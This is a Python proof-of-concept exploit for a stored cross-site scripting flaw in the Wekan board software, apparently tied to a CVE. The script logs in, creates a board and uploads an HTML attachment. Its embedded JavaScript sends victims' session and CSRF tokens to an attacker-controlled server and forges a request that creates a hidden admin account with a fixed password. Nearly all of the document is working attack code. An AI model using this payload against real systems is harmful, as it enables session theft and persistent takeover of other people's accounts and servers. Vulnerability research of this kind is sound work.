# CVE-2025-65778 PoC - Wekan Stored XSS via Attachment Content-Type
# This PoC demonstrates how to upload a malicious attachment with HTML content
# and trigger XSS execution when accessed
import requests
import json
TARGET_URL = "https://vulnerable-wekan-instance.com"
ATTACKER_CONTROLLED_SERVER = "https://attacker-server.com"
def cve_2025_65778_poc():
"""
Proof of Concept for CVE-2025-65778
Wekan stored XSS via attacker-controlled Content-Type
"""
# Step 1: Login to Wekan and obtain session
login_url = f"{TARGET_URL}/users/login"
login_data = {
"username": "
[email protected]",
"password": "password123"
}
session = requests.Session()
response = session.post(login_url, json=login_data)
if response.status_code != 200:
print("[-] Login failed")
return False
# Step 2: Create a board and get board ID
boards_url = f"{TARGET_URL}/api/v1/boards"
board_data = {
"title": "Malicious Board",
"owner": session.cookies.get('userId')
}
board_response = session.post(boards_url, json=board_data)
board_id = board_response.json().get('id')
# Step 3: Upload malicious attachment with HTML content
# The attachment contains XSS payload that will be served with text/html Content-Type
upload_url = f"{TARGET_URL}/api/v1/attachments"
xss_payload = '''<html>
<head><title>Document</title></head>
<body>
<script>
// Steal session token and CSRF token
const sessionToken = localStorage.getItem('wekan-auth-token') || document.cookie;
const csrfToken = document.querySelector('meta[name="csrf-token"]')?.content;
// Send stolen credentials to attacker server
fetch('https://attacker-server.com/steal', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
sessionToken: sessionToken,
csrfToken: csrfToken,
origin: window.location.origin,
userAgent: navigator.userAgent
})
});
// Perform CSRF attack - create admin user
fetch('/api/v1/users', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Csrf-Token': csrfToken
},
credentials: 'include',
body: JSON.stringify({
username: 'hacked_admin',
password: 'Backdoor123!',
email: '
[email protected]',
isAdmin: true
})
});
</script>
</body>
</html>'''
files = {
'file': ('malicious.html', xss_payload, 'text/html')
}
data = {
'boardId': board_id,
'cardId': 'malicious-card'
}
upload_response = session.post(upload_url, files=files, data=data)
attachment_id = upload_response.json().get('id')
attachment_url = f"{TARGET_URL}/api/v1/attachments/{attachment_id}"
# Step 4: Verify Content-Type is text/html
verify_response = session.head(attachment_url)
content_type = verify_response.headers.get('Content-Type', '')
if 'text/html' in content_type:
print(f"[+] XSS Payload Uploaded Successfully")
print(f"[+] Attachment URL: {attachment_url}")
print(f"[+] Content-Type: {content_type}")
print(f"[+] When victim visits this URL, XSS will execute!")
return True
else:
print(f"[-] Content-Type is not text/html: {content_type}")
return False
if __name__ == "__main__":
cve_2025_65778_poc()